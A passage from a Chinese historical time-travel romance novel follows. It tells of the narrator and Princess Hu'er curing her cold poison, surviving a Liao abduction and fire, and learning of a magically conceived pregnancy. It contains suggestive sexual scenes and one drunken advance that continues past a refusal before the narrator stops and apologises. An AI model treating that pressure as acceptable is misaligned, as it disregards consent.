“我是刘景云,是如意的知己”,女子开门见山的说,“你和她心上人是什么关系?” “在下曹谦月,是瑚儿的知己!”我想了想,有样学样的回答。 再后来的交谈中,我捋出了大概的情况,当时冷岩安顿她养伤后,对越王报告她已死,她也借此脱离了被控制的命运。稍微好点之后,她就偷偷地跟上我们,却发现瑚儿身染寒毒,就质问芊寻解救之法,芊寻说只能找替代之物,能否根治她不敢保证。所以天如意就北上寻找解药,也因此结实了这位刘姑娘。在她的帮助下天如意收集到不少珍稀的药材,近日,她家有机会来中原办事,天如意便一起回来找瑚儿,刘姑娘也说想看看中原风貌,就跟了过来。 “她救过我,我希望她如愿!”刘姑娘说这些时有些失神像是自我催眠,“预想过她的样子,见了才知道,难怪她拼命也要救她!哎!不过你们中原的知己,可以同床共枕吗?” 话锋一转,你们怎么知道我和瑚儿的情况,难道有对我们进行监视和跟踪? 得到了肯定的答案! “如果真的能救她,你会让她们比翼双飞吗?”这是我们分别前刘景云的问题。 天如意真的找到了能救瑚儿的方法吗?瑚儿也因此秘密见她?天如意会要求瑚儿和她一起?刘姑娘似乎对天如意也有心意? 带着更多的疑问和心事,我回到了万福园。见瑚儿正在做饭,我自然的进了厨房想帮忙,可是她明显有些心不在焉,我到她身边都没有发现!我接过饭铲扒拉着快要糊了的菜,触及瑚儿的手时,依然觉得冰冷,瑚儿回过神看到是我,便笑着说“你回来了?”我点头说,“我来吧!”然后我们就是有一搭没一搭的闲聊,尽力像往日一样。 万福园没有浴室,所以木桶需要添热水才能让瑚儿泡的舒服点,倒入的热水蒸起一团雾气,让她的一切都更美了。今晚她没有让我擦背,我不免有些失落,走出来透透气,居然琢磨着想喝酒,那就喝吧! 不知不觉就喝了一小瓶,我晕晕的倚在床头,看着瑚儿面色红润的走进来,接过酒壶放在桌上,嘟囔着问我为什么喝酒。喝醉的我是很乖的,顺从的任由她为我脱去衣衫,然后我们依然相拥而眠。 “瑚儿,今天怎么这么冰?”我轻轻将她搂的更紧,脸蹭着她感受她的清凉。 “是你喝了酒热了吧!”瑚儿微微动了动回答道。 “瑚儿喜欢我的热吗?”我继续问着,手掌贴在她的腰上。 “嗯”瑚儿轻轻应着。 “我们永远在一起好不好?”我无法想象生活里没有瑚儿,我沙哑着嗓子说“我一辈子做你的暖炉!”我吻着她的耳朵,然后一点点的从脖/颈滑向她的锁骨,手游弋在她的背和腰之间。她轻轻哼着,似乎在抗议又似乎在默许,身体也从最开始僵硬逐渐变得更加柔车欠。 “小飞~我不能……我们不能在这……”她的身体已经难得的升温了,可是却突然制止住了我,我感觉到她的战栗,但我不想给她、给我自己犹豫的机会,与她肌月夫相亲的画面已经在我脑海里太久了! “是她搞的鬼吗?”瑚儿说着咬住了我的肩,让我吃痛,我其实并没有醉到失去理智,但我不想放弃这个冲动的机会,我又靠近她的耳边呢喃着她的名字,她颤抖的推着我,“小飞!小飞你清醒一下!” 她不愿意吗?感觉到她的心意和坚持,我停止了冲动!离开她推着我的手。 “对不起!”我轻轻的说,尽力平复着呼吸,我转过身,背对着她道歉。 “小飞,你难受吗?我去给你倒点水!”瑚儿轻轻的摸着我的额头说着。为什么明明接受不了我,还要关心我呢! 我摇了摇头,我是不是把我们的感觉弄错了…… “睡吧,瑚儿,明天就好了……”我把头缩进被子里,躲开了她的手。感觉她小心翼翼的收回了手,轻轻叹息。 这一夜,我不记得自己是不是睡着了,就是不敢再动,怕惊扰到瑚儿。 终于挨到了鸡鸣,我轻轻离开了床,根本不敢看瑚儿。 我跑到水井边打了一桶水,想洗脸清醒一下,看着水中狼狈的自己,我气的打碎了水面的倒影。 赶着路到了天如意的庄园,她也刚刚起床,听说是我,她本来是拒绝的,我说为了瑚儿的事求见,她才放我进入。 一大早就喝酒?屋内的天如意正摆弄着温酒的器具。 “你真的有救瑚儿的方法?”我径直问道。 “一边喝一边说吧!”她直接将一壶酒推给我,抬眼看了我一眼,“你这是愁的睡不着了?” “解药是什么?”我喝了一口酒问着。 “我们试了很多奇珍异宝,最多也只能缓解,”天如意叹了口气,随即托着腮看我,“你看过雪芊寻的信吗?” “没有看全!”我回忆着回答,当时被瑚儿收起自己看了,只看到了开头的道歉。 “看看吧!”天如意拿出那封信,“我跟着你们多时,这是我趁着瑚儿不注意拿来的!” 此刻我才终于看到了芊寻熟悉的字迹: 瑚儿:对不起,我此生行医,一直以救人为己任,不想因为一己之私,害你承受寒毒煎熬。九转殊途是我所知的唯一可救你的灵药,但它可以孕育世间难有的生命,我真的很希望和月儿有更深的牵连!所以,犹豫之间,错过了为你解毒的时机。也许是上天在惩罚我的自私,纵然月儿服药后活了下来,我也渐渐发觉现在的谦月不是我的月儿,不能心意相通九转殊途便无用了!如今谦月是你的解药,只要她的心…… 我将信翻过来,没有字,“这信完了吗?”我急着问天如意。解药是我?的心? “应该就是这样了!”天如意继续喝着酒,“你的身体成功的吸收了九转殊途,你的心就可以救瑚儿!” 那是生理上的还是心理上的心?那些女子间相亲相爱的图谱又是怎么回事呢? “你在想那种事吗?”天如意见我沉思不语,便开口问道。既然可以神不知鬼不觉的盗走芊寻的信,那些图她也自然是看过了,而且她本就喜欢女子,又带瑚儿去过青楼,这些事她不会惊奇。 “与炽血的你相亲确实可以解瑚儿的寒毒,不过得你们情之所至,不然也未必有效,但是”天如意语气从自然到挑衅,“把你的心剖出来煎药,也可以解毒,你愿意吗?” 原来是这样吗?从昨晚来看,瑚儿似乎不能接受女子,又怎么情之所至呢?就算勉强和我一起,也会后悔吧!与其这样,还不如把心给她解毒。 “你这里有纸笔吗?”我饮下一杯酒问着,她给了我纸笔后,我一边写一边似是自言自语的说“瑚儿,不会喜欢女子,所以不会和我或者和你在一起,你若还是在乎她,就别勉强她了,不管她将来心仪谁,能让她开心快乐就好!” 也许是人之将死、也许是斗酒诗百篇吧!我继续疯狂的写着。 “解了毒也许就不会胃寒了,但是故事她是每晚要听的,多找点奇闻轶事讲给她……她喜欢新奇有趣的生活又古道热肠,可以多陪她体验,但是尽量别再让她冒险了……她喜欢甜食……生辰是在八月十五……”我喝了几杯记不清了,纸张却是洋洋洒洒的被写满了字,都是瑚儿的喜好。“也许有一天她也会改变,但是你要是真的喜欢她,就陪着她让她做自己就好。她那么好……是公主,被宠着长大,却并不娇气……有时冒失闯祸却也可以自己努力解决……洛神一样的美……她做菜好吃,聪慧、善良……值得你付出真心好好相待……”大概是喝多了,后面写的倒有点向表白了,至少能让未来的那个人,知道瑚儿的好,也不枉我发这一场疯。 “哇,你的字是真的丑!”天如意接过我的纸,认真看了一会,先呛了我一句,随即说道“若是心里有她,当然得做到这些……” “这些你收着,你要是想陪着瑚儿就尽力做,如果将来遇到了她喜欢的人,你就旁敲侧击的让他试着照顾好瑚儿,也算锦上添花了!”我继续写着“还有一封信,是以我的名义写给瑚儿的,过后你帮我转交吧!” “瑚儿:我听闻北边有谦月的消息,因事出紧急,只得先去探访,不知道什么时候能回来。你也帮我留意京中消息,也许七个多月后她也该回来了,我们一起助她们团圆美满吧!照顾好自己,注意保暖,你最好了!小飞。”我画了一个跪着的小人orz,表示对瑚儿的感谢。想着就算封上天如意也可能会看,我便直接给她看了,“我突然失踪,只怕她会追问,你就让冷语把这个给她吧!” 冥冥中有天意,尽力找寻了那么久,也许谦月只会在说好的时间才能出现吧!眼下解救瑚儿是我必须做的事!昨晚的冲动让我羞愧汗颜,若是我的命真的可以换她平安、自在,不违背本心,我自然要赔给她,她本来该有的人生,起码是健康的身体! 天如意将这些信放在桌边,正要和我说什么,却被下人禀报打断。瑚儿竟然也一早就自己来了。天如意刚让我躲在屏风后面,瑚儿就风风火火的夺门而入,带着气质问道“你昨晚真的给她下药了?” 我忍不住透过屏风的缝隙偷偷看,看到瑚儿的面色也很苍白憔悴,看来也没有休息好,都怪我吓到她了。但是她为什么会这么问呢?谁被下了什么药!? “瑚儿,你先坐!”天如意轻轻的劝着,看着瑚儿的脸色“看来你们昨晚不太快活!” “快不快活!也不该是强迫违背心意!”瑚儿如同泄了气,“我不想勉强她,所以我一直没有告诉她解毒的真相,我知道她就算不愿意,也会帮我的!” “她还不乐意?”天如意一面说,一面瞧着我,故意问道。“所以,你对她是有心的吗?” “都怪我年轻妄言,我根本不敢爱女子,怕誓言成真,就会失去她……”瑚儿幽幽的说,似是埋怨自己,“我宁愿一辈子不解毒,我们就这样永远在一起!” “昨晚她待你不好吗?”天如意站起身慢慢踱着步子,问瑚儿。 “好又怎么样?也不是真的!”瑚儿叹着气,“我都说了,不要你下药的!” “你怎么不信是她见色起意呢!”天如意向我所藏的屏风走来,“我到底做没做什么,你问她吧!”说着她突然推起屏风。 “真是的,一大早你们就来逼我听这些!”天如意无奈的摇摇头,让我和瑚儿可以与彼此对望,我们都有些惊慌。 “瑚儿……”我向她走过去,正要叫她的名字,门就突然被打开。 “不愧是小妹的好知己,帮我们钓了条大鱼啊!”一名三十岁不到的男子带着一群人拿着刀闯进来,“大宋成德帝姬,有礼了!” “耶律齐天!你干什么?”我和天如意一起挡在瑚儿前面,她走过去质问来人。 刘景云也赶过来劝阻天如意“你先不要和我哥犟,我哥说不会轻易伤她们!” 天如意只好和她们先行离开,屋内只剩我和瑚儿,门被锁着,外面也有人把守。 74、无悔 天如意她们走后,我和瑚儿查看了一下房间的情况,门口有人把守,窗子外是山壁,一时也跑不出去,我们决定先坐下来讨论对策。 “他们姓耶律,来自北边,应该是辽国宗亲,”瑚儿分析着。 确实,辽国的汉化程度很高,所以他们可以和我们沟通无碍,耶律的汉姓就是刘,那刘景云应该是耶律景云,和耶律齐天是兄妹。最近几年宋和金商议着合作灭辽,他们自己的内政又乱成一锅粥,为什么会跑到宋地来,只怕别有所图。 “天如意应该不知道他们的事”我想了想说道。然后想着要不要和瑚儿说说我俩的事,却见她随手翻起了桌上我写的那些疯言疯语。不要啊!我伸手去按着,却被瑚儿的眼色吓得收住了手。 我坐在旁边抠手指,咽口水,不敢看瑚儿。想了再三,我弱弱的说“我就是喝多了,瞎写的……” “哦~是吗?”瑚儿看似漫不经心的问着,“后面夸我的,难道也是瞎话?” “那当然不是!”我急忙说,看着她看向我,我又低下了头叹了口气,“瑚儿,我错了,我昨晚也是喝多了才那么欺负你!但我没有被下药,我还很清醒,你就是那么好,吸引我想亲近你,但是我知道我让你难受了!对不起!” “哦~”瑚儿说着,轻轻折着信纸,“所以你知道怎么解毒了吗?” “嗯,我看了信和图谱……”我尽力措着辞,再看了芊寻的信和图谱之后,我知道应该怎么做,可是我真的怕瑚儿是迫不得已和我在一起,但是从刚刚她和天如意的对话来说,她也怕我是为了给她解毒而那样亲近她。我们心里都有彼此,可到底是不是同样的渴望呢?我要不要问个清楚!? “什么时候?”瑚儿有些吃惊,“图谱?”然后刷的一下红了脸。 “图谱是新年宴会之后,你喝多了不小心告诉我看的!”我吞吞吐吐的说着,不小心的情节她还记得吗? “你早知道了!?”瑚儿的开始不好意思起来,“那你能接受吗?” “如果是瑚儿,我……求之不得!”我鼓起勇气说着“我也总是梦到和你……” “好了……”瑚儿急忙捂住我的嘴,感觉到她的气息有些急,“别讲出来!” “瑚儿,就这一次,我要说”,我轻轻拉住她的手,挣脱开禁制,她另一只手上还拿着我写的话,“你比这里写的好,还要好,所以我怕是我不配和你一起,我们一起经历的那些,让你不得不和我一起,我真的怕委屈了你!我……”我有些哽咽,我想说好多,可不足以说出她全部的好和我的怯懦。“你愿意和我一起吗?” “我愿意……但我也怕……”瑚儿的眼睛蒙起水雾,“怕我那句诅咒会害了你……”她终于忍不住流下泪来,“我不能说爱你……” “那我们的心是一样的!”我想起她的誓言,不会爱上女子,否则一生孤独。我们之间是爱!那不挑明,只要我们心意是相通的!“爱,可以不说出来的,瑚儿~” “嗯?你不会觉得委屈吗?”瑚儿吸了吸鼻子说。 “不会,我已经很幸运了!”我说着不管其他,吻上了瑚儿,不是额头和脸颊,我不会让她再说出来犹豫的傻话了?她轻轻颤抖而后放任我们的舌共舞,她的舌尖还是有点凉,若不是想起现下的环境,我可能会情不自禁的想要为她解毒,我真是禽兽啊,自我唾弃中。 我不舍的放开她的嘴唇,额头抵住瑚儿的额头,我们恢复着呼吸。 近距离看她还是有点害羞,我将视线下移,刚好又看到了她手里已经捏皱的纸,伸手想要拿回,却被瑚儿迅速揣进袖子里,“我得留着,以后看你表现!或者笑你啊~”瑚儿站起身躲开我,我自然忍不住调又戈她,迎了上去和她纠缠。刚刚从后面抱住她,就情不自禁的吻着她的耳朵。 “吃点东西吧!”天如意的声音破门而入,“哟,我来的不巧了!” 我俩吓得赶忙分开,可是我俩不违法啊!我没好气的看了眼天如意。 她将饭菜放在桌上,然后看了看我,又看了看瑚儿,我们脸色都涨得红红的,她走到瑚儿身边,调笑说“我就说她是色中饿鬼,根本不用我下药!” “吃饱了才有力气啊!”天如意指了指饭菜,向我们挑挑眉,而后被守卫催促着离开。 我们觉得她手势刻意,门关上后便用筷子扒拉饭菜,果然在饭菜里找到一张纸和一只哨子。里面大概写着,辽国近日贿赂朝中官员,企图挑拨宋金关系,今日更是打算冒充女真人绑架瑚儿,激化矛盾!至于哨子,天如意观察到我们散养了一只鹰,这个哨子音域人是听不到的,可以召唤它过来。 青儿除了每天看看瑚儿,平时偶尔站在心园的灯笼杆上休息,其余都是自己捕食和自由活动,如果今天见过瑚儿来了这里,它也应该会在附近。 我们推开窗,吹起哨子来,果然我们听不到声音。但是不一会,青儿一声鸣叫出现在上空,瑚儿挥挥手,青儿便落了下来,我们将写好的情况和位置,塞进它脚上的小竹筒里,这个本来是瑚儿和我要通信准备的,不过我们总是在一起,也没有用上。如今也算派上用场了,瑚儿轻轻说,去找冷语,青儿便飞走了。 看着青儿的身影消失,我们索性现在窗边看看风景,顺便吹吹风冷静一下,来日方长嘛! “冷不冷?”我从后面抱着瑚儿,轻轻的问。 瑚儿靠着我,轻轻摇着头。 多希望时间就停留在这里…… 过了大概一个时辰,忽听得外面吵闹起来,有兵戈相交的声音,有人喊着:已经安排好了,烧死他们吧! 然后门缝里开始有黑烟钻进来,我过去推了推,门还锁着,只是门闩有些烫手了,屋内温度也逐渐升高,我让瑚儿退到窗边,然后用凳子砸窗户,砸了十几下终于砸开,只是火焰已经在外面包围了我们,我回头看了眼屋内,屏风!?我踹倒它,抱过两扇来,搭在窗内外形成一座桥,又脱下外衫罩在瑚儿头上,然后拉着她逃了出来。 院内也是四处起火,乌烟弥漫。我牵着瑚儿,另一只手在眼前扇着,尽量保持视线。似乎看到了后门,我们忙跑过去,没想到刚刚脱离火海,就遇到了耶律齐天他们。 天如意正和他打斗,耶律景云被人拉着不能上前阻止,见我们出来了,耶律齐天便向天如意撒了一些粉末,逼得她退开。然后突然一道闪光向着瑚儿飞去,我下意识扑开她,看着她好像没有受伤,我松了口气,却觉得喉头一凉,瑚儿看着我,急着哭问,“小飞,你……”我伸手一摸,居然是热热的血!幸好此时冷岩带着护卫赶来,打走了耶律齐天他们。 我躺在地上,瑚儿跪在我旁边。刚刚应该是什么暗器划破了我的喉咙或者脖子,还能呼吸,我的尽量让自己冷静下来,我用手捏着脖子上的伤口,我想安慰瑚儿说没事,却无法发出声音,瑚儿马上也掏出手帕按在我手的附近,可是力气和温度还是偷偷地逃离我的身体。 我的眼皮变重了,眼前黑色的面积也越来越大。我听到瑚儿在叫我,我看着她,尽力咧着嘴,我摇着头,虽然发不出声音,我还是用口型说着,没事的! 感觉到她的手止不住的颤抖,却不敢离开我的伤口! 我终于还是失去了意识…… “安神医,她什么时候会醒?”是瑚儿的声音,我应该还活着,太好了,就是还睁不开眼睛。 “公主放心!我已经为她缝合,没有性命之忧,只是失血导致身体匮乏,养些日子会好的!”安神医说完就离开了。 然后瑚儿的声音又传来,“小飞,渴了吗?喝一点水吧!”感觉到嘴唇上冰凉凉的,应该是瑚儿用勺子沾着水洇湿着。 我又迷迷糊糊的睡了多久,没有概念了。只是瑚儿一直陪伴着我! “小飞,你好像不烧了!快起来吧!”瑚儿轻轻的说,额头微凉的触感,我感觉到了眼前的光有点刺眼,终于张开了眼睛! “小飞!你醒了!”瑚儿伸手摸着我的脸,激动的说着,“我去找安神医来!” “万幸,她气道没有无碍,只是伤到了嗓子”安神医为我检查了伤势,说着“会不会影响说话,还得恢复看看,眼下先把身体补起来!” 瑚儿送安神医离开,我用手轻轻摸着自己的喉咙,被布包着,吞咽感觉有点痛,试着发声,一时没有成功。应该不会变成哑巴吧!? “别乱动!”瑚儿喊着我,“安神医让你好好养着,别想那么多!”她很快就回来了啊! 我尴尬的笑了笑,做了一个敬礼的姿势。瑚儿问什么意思,我拉过她的手写下:遵命! 接下来的日子除了喝药,我已经渐渐可以吃些流食了。感谢瑚儿的厨艺已经达到家庭厨神级别了,每日换着样子做各种粥和汤给我们,我和金奴也算互相得利了,她这个孕妇逐渐丰盈,而我身体的力气也随着食物的进入而逐渐增加…… 荼蘼花落了,眷恋的春天也终于不舍得被夏天赶走,我几乎一切恢复如常,脖颈的伤因为安神医的药很好用,已经愈合结痂,偶尔有些痒痒的感觉,瑚儿会看着我必须戴好丝巾免得着了风。 “这条也很好看!”这日,我们回心园取东西,翻找衣物时,瑚儿找到了几条丝巾,她兴致忽起就打扮起我来,换了几条丝巾,颜色真是越来越粉嫩了! 我装着反抗一下下,瑚儿就闹着坐在我的腿上,手里扯着一条丝巾说着“小飞飞,你就从了吧!”姿势和话语怎么变得这么有气氛! “挣扎”之间我顺势揽住瑚儿的腰,哎,这阵子真是辛苦了,瘦了好多啊!不觉加紧了搂抱的力度,抬头对上瑚儿的视线,我尽力说着辛苦了。但是她却用丝巾遮住了我的眼睛,“不要用这样的眼神看我~”瑚儿有些嗔怪的撒娇。 我对天发誓,我没有任何挑逗的情愫。但是后来瑚儿也总说,你的眼睛亮亮的,总觉得有好多话要和我说! 此刻,我和瑚儿之间隔着淡黄色朦胧的滤镜,看着她逐渐贴近,吻了我一下,“等你再好一点……”可是她的气息有些零乱,并没有起到安抚的作用,我的手从她的腰间上移,扶着她的头让她不能逃离。再一次舌与舌共舞,因为呼吸不畅,她拉着丝巾的力度减弱,我轻轻将她移到床上,唇舌短暂分离,我们平复着呼吸,瑚儿的脸色红红,我还想吻她,可是她却微微推着我制止,拇指轻轻抚摸着我的喉咙,好像在担心我的伤口。 我用口型说着:好了!然后我握住她的手,牵到唇边,吻着。我看到她也在吞口水克制,我也尽力压抑心跳,俯身想去亲她的眉眼。 “公主,你们收拾好了吗?”冷语的敲门声打破了灼热的气氛,我回头看了看门,又转回来看着瑚儿,轻轻止住了她要起身的趋势。好吧,如果刚刚我的眼神没有一丝杂念,现在我的眼里是溢出来的欲望和祈求。 哎~瑚儿轻轻叹息,无奈的看着我,然后轻轻清了清嗓子,尽量和往常一样,对门外的冷语说“冷语,你先回去吧!我们想在这里住一晚……”我依旧祈求着看她,手轻轻游移在她的腰际,她轻轻皱眉,我微微摇头,她终于一副失败了的样子,转而对冷语说“我们想在这里住几天!” 听着冷语从门口离开,我终于如愿吻上了她的眉头。 轻轻解除衣衫,虽然不是第一次近乎坦诚相对,我却止不住的有些颤抖,我的吻和指尖在她身上驱走冰冷,她也从羞涩中逐渐接纳我,接受我的虔诚和热切。瑚儿轻轻的战栗,如同花在我手上绽放着,冰冷终于被点燃了…… 她用力抱着我,我可以感觉到她掌心的湿润温热,她的声音是那么好听,激励着我忘情的吻她,无法停止的和她融为一体…… 我们都知道,她不能说爱,我无法说出爱,但是我们用自己的方式,证明着心意相通…… 到底是什么时候睡着的呢?怎么可能知道!只是迷迷糊糊之间,我想抱紧她,却感觉到她的身体是温温热热的,她终于不用再受寒毒之苦了…… 回到万福园,就被娘的关心问的我们羞红了脸。 “这几天瑚儿照顾你,真是太辛苦了,你的嗓子没好,她的都哑哑的了!” 羞羞〃?〃羞羞〃?〃 75、别耍赖 明艳的晨光将瑚儿锁骨下的玫红印记,照的更加显眼,吸引人想再犯错,嘴唇轻轻覆盖上去,瑚儿微微皱眉控诉“痒~小飞,我再睡一会嘛~” 年轻真好,可夜夜笙歌! 夏日不甘,苦良宵短暂…… 这日与瑚儿约好送别天如意和耶律景云,我从枢密院回来没有看到瑚儿,便转身想出去寻找,却无意间扫到了书桌上书本有些凌乱,简单整理了下,发现书中夹着的纸,好像正是我写的那些“疯言疯语”。我不自觉取来看,上面写着要为瑚儿做的事,桩桩件件。可第一条我就失约了,好久没有给瑚儿讲故事了!虽然现在她每晚都睡得很好,但还是不免惆怅。 我嗓子的外伤已经完全好了,只留下一道细细的伤痕,可是试了许久也只能发出咳嗽和呜咽的声音。 闷闷然的走出来,路过金奴的房间,听到她们姐妹在聊天。 “他啊,就是没给你机会喜欢别人”金奴有些埋怨的说“你还傻傻的拿个哑巴当宝!” “二姐,别说了~我知道你心疼我!她本就不是闷葫芦,现在一时不能说话已经够难受的”瑚儿哄着金奴说“再说,我现在真的觉得挺好的!” “哎,鬼迷心窍!懒得管你了!” “姐,你喝完药就睡一会吧!” 我听瑚儿要出来了,忙躲回门廊后面,等她回房间,我才快步走过去,装作才回来。 “小飞,我们走吧!”瑚儿笑盈盈的拉着我去赴约。 约会地点定在郊外,今天天气不错,我们决定徒步前往。行至花草茂盛处,瑚儿随手扑着蝴蝶,回想起她刚刚的话,我的心里不禁又暖又安稳,眼前蹦蹦跳跳的她像是被午后的暖阳包裹着,闪着柔和明媚的光,看着她就让人觉得幸福。 突然,她被山坡上的石头绊了一下,倾斜着失去重心,我忙伸手扶住她,口里竟然喊出了“小心!” 诶!!!(⊙o⊙) “小飞,你能说话了!”瑚儿捧起我的脸欣喜的说“再说几句!” “瑚儿……瑚儿”我也在适应着自己现在的发声感觉和声音,似乎比以前低沉了一点,“瑚儿,我……” 忽听得天如意酸溜溜的声音“哎呦呦,你们怎么总是这样,不顾他人死活的卿卿我我~” “呵!你们不也是?”瑚儿转头看着天如意,旁边的耶律景云正牵着她的手,黏糊糊的靠在她肩头。 那日耶律齐天等人被我们击退后就北逃了,金奴和大皇子借机扫清了朝中不少反对势力。耶律景云因为没有参与其中,被瑚儿保护下来。我养伤的时候,天如意陪她在汴京游览一番。 “打算去哪里呢?”我问天如意。 “辽国是回不去了,她也喜欢热闹,我会带她游历江湖的!”天如意看着远处吹着蒲公英的景云,眼神坚定而温柔。 “你真的放下瑚儿了!?”趁着瑚儿不在,我觉得还是问清楚好点!毕竟她曾经为了瑚儿可以连命都不要。 “嗯……我本就是为了给公主找解药才来的,跟了你们一路,我还是喜欢她自在的模样,在你身边她才更开心!而且,我也早习惯了和景云一起!”天如意背过手继续说,“嗐,江湖儿女哪有那么婆妈!纠缠或者固执等待对彼此都是伤害吧!” “洒脱啊!”我对天如意树了个大拇指,“那冷岩你也说好了?” 她叹了口气,“我感谢他的恩情,但是我真的没办法接受男子!天性使然吧!” “你们去南边吧!东海外也行!”我建议道“北边以后会有很多战乱的!” 刚说完,瑚儿和冷语牵着两匹马走来,天如意拍拍我的后背,“知道了!以后,你好好照顾她!” “在聊什么?”瑚儿问着,将缰绳递给天如意她们,金玉钱财她们拒绝了,既然要闯荡江湖,宝马良驹也许更合适。 “她啊,一个劲显摆和你有多幸福呗!”天如意故作无奈的说。 “江湖再见!”天如意抱拳说着,如同我们初见时那样,景云也挥挥手告别。 看着她们离去的背影,我和瑚儿聊起来,景云是吉祥的云彩,吉祥如意还真是一对呢! 哒哒的马蹄声,带走了我们的朋友,从此后再未重逢! “小飞,我们回心园待一会吧!”回去的路上瑚儿拉着我说。 推开楼阁上的窗,清凉的风迎面而来,放眼望去汴河上船只往来不息,很是热闹! “小飞选的地方真好啊!”瑚儿抱住我,将头枕在我的肩上。 “你喜欢就最好!吹吹风心情也会舒畅的”我的脸贴着她的头发,她的香气让我觉得安宁舒心。 “你下午早些时候回来过吧?”瑚儿轻轻问着,随即又说“书桌被整理好了!” “神探瑚儿!”我笑着夸赞。 “姐姐的话你不要在意!”瑚儿接着说“其他人的话就更不用在意了!” 我点点头,下巴蹭着她。 “瑚儿,谢谢你!愿意和我在一起!”我加大了环抱她的力气。 “荣幸吧!毕竟我是公主,长得好看!做菜好吃!还是商业奇才!善良、热诚……”瑚儿微微离开我的怀抱,一面背着话一面笑起来。 “好啦~不要背诵全文了~”我央求着她别再说我写的那些肺腑之言了!“我真的觉得自己几辈子运气都用上了!” “既然我这么好,你就多让让我、等等我呗!就算我不能说爱你……”瑚儿撒娇似的又抱着我摇着,“不管以后我们怎么闹脾气,你都不要走远好不好?就在这楼阁上等我,吹吹风、消消气嘛!我一定很快来找你!” “你也是!如果我惹你难过了,你也在这里等我!”我抱着她的两臂看着她说“我们不说爱这个字!只要你在院中灯笼杆上挂上一块红布,就是你在等我,爱我!好不好?” 傍晚,我们挂起了一块红布,迎着夕阳如同另一轮小太阳,温着我们心。 折腾了小半天,我们沐浴后就躺在床上,我觉得有点累了,瑚儿却有点得意的说“我不累啊!今晚让本公主照顾你吧!” “啊!?”〃~〃好吧! 毕竟是第一次转换角色!瑚儿的动作有点僵硬和单调重复,我得鼓励教育才好。恢复了语言能力的我,略带沙哑的唤着她的名字,似乎让她更害羞了! 从一点点胀痛开始,她轻轻吻着我的脖颈,终于在她努力的刺激下,一种被抓住的感觉闪过脑中,我短促的嗯了一声,不觉紧紧抱住她…… 幸福的时光总是飞一样的度过着,最近我突然开始梦到谦月了,正和瑚儿说起是不是有什么预兆时,枢密院居然让我牵头为幽州前线战事做统筹计划,从征集粮草到兵将部署安排,全权负责。一头雾水,硬着头皮上吧! 难免要开始东奔西跑了,虽然也不会离开太久,但瑚儿和我终于如愿用上了飞鹰传书。闲聊着日常,落款会画上蝴蝶和飞鸟。 比如这封: 小飞:在鹿山郡好吗?夏天蚊子好多,驱蚊香有好好用吧!?家里虽然也有用,它们不敢叮咬我,却扰的我睡不着,唉! 听说鹿山郡南有户丁家,做花馍很出名,都是些好看好玩的样式,不过每月只有十五那日卖,想来,如果你办事一切顺利的话,应该能赶上吧~ 别太累了,要早点休息!(蝴蝶) 收起信,想着离京已有七八日了!勘核地图的事也快差不多了,得加快进度早些回去!给瑚儿讲讲见闻,赶赶蚊子也好,对了,还有那个花馍! “小飞~这是?!”瑚儿接过花馍,但是目光很快回到我脸上,“你也没睡好,眼睛像竹熊(熊猫)一样!” “我这不是想你嘛!而且我赶回来啦!还刚好买到了这个虎头花馍,多可爱,你看!”说着我又把她的注意力转回花馍上,“哎呀,古人说陌上花开盼缓缓归,如今瑚儿说想看馒头开花你归不归!我岂敢不赶快忙完回来!” “好啦,探花郎!别掉书袋了!”瑚儿戳了戳我的额头,又摸摸花馍虎头,转身去厨房要大显身手了…… 忙忙活活了近一个月,任务终于告一段落,终于可以好好抱着瑚儿睡一觉了≧▽≦。没想到皇帝突然传我觐见…… “晟儿啊,快起来!”皇帝居然亲自扶我起身,算起来我们总共也就见过三四次,如今怎么这么热情? “金奴还好吗?”皇帝接着问道,金奴有孕已经四个月,他关心也是自然。 我谨慎回答。 他捋捋胡须,便说起了最近北边的情况,辽国已经日薄西山,宋与金商议共同出兵灭辽,若事成便可夺回燕云十六州。我最近忙的也正是在幽州关部署的事,一切具备只待合兵! “奈何朝中官员阻虑者甚多,朕需找一个可靠敢为的人出征!”他话锋一转,让我不觉汗流浃背,“晟儿,你可愿意?” 冷兵器时代的战争,何等残酷!而且我原本不用参与兵事啊! “朕听闻你和瑚儿交往甚深,若真有情!待你凯旋,朕亲自赐婚,再封你为无双驸马!以后,你好好与金奴、瑚儿生活,如何?” 只怕,我也没有拒绝的机会!只好领旨谢恩,两日之后,便得带兵出征了…… 混混沌沌的出了宫,便被瑚儿迎上马车,她因为不放心,就在门口等我。当我说出所领的旨意时,瑚儿有些慌了,驸马也需要上战场?这在大宋以前还真是少有! 不管愿不愿,在这个时代,圣旨是不能不从的! “幽州关来回就得三个月路程,又冷的早,棉衣得带上吧!”瑚儿一面唠叨着,一面将冬日衣服和取暖物件清点出来。一天时间,瑚儿把担心、关心转变成了一件件装备装满了一大车。 “你也不是什么神兵将才,实在不行保命为先,曹梦绮不是也去了吗?好歹算是你大哥,要是有什么你就求他救你!”夜里瑚儿嘱咐着拉过我的衣服,“我的针线活你也知道,只来得及绣这个”说着她把绣着“平安”两个字的包好的符,缝在了我的衣服内侧。 “放心!瑚儿……”我不想看着她愁容满面的样子,借着灯火我比划着鸟的手影,“你看,我是飞鸟,实在不行三十六计~很快就回来了!” 瑚儿看了我一眼,并没有缓解忧虑,低头将多余的线咬断。我忙撒娇的抱了上去,“怎么这么快就厌倦人家了,我都不能逗你开心了嘛?”说着委屈的亲了亲她的眉头,“别皱眉了,瑚儿乖~”瑚儿伸手抚着我的脸,我正要再亲吻她时,只见她眉头皱的更重,然后捂住嘴要呕吐的样子。 啊,我有这么油腻!?赶快去倒了杯水给瑚儿,“瑚儿,我吓到你了……” 并没有吐出什么,瑚儿喝了口水,平复了下呼吸,“确实怪你!”然后摸了摸小腹。这场面,我都石化了! “啊?我?”我看着她的肚子,又颤抖的指了指自己。 “你看你,又不想认账!”瑚儿轻轻揪住了我的耳朵,“安神医说,快两个月了!” “是在心园时……”我盘算着确实是我们最开始在一起的时候。 “原来九转殊途真的这么神奇!”我说着抚上了瑚儿的小肚子。 “没想到芊寻说的都是真的!”瑚儿又喝了点水。“可怎么不是你有啊?难道我不厉害吗?” 我微微红着脸哄她“厉害~厉害~” 我们都自然的接受了这神奇的事实,毕竟我们一路走来已经经历太多魔幻了……就连我能来到这里和她相遇,都已经是奇迹…… 不过对于这个突然到访的小家伙,我是惊喜开心之余,眼下却是有一丢丢埋怨…… 我和瑚儿要分开这么久,还我们贴贴充电的机会啊(t_t) 76、烽火 “不舒服?”我捋着瑚儿的背问着。昨晚也没怎么睡踏实,早上瑚儿就被晨吐给折腾醒了。 瑚儿手抚着胸口摇摇头,“最近偶尔会头晕想吐,跟着二姐一起服药好多了!” 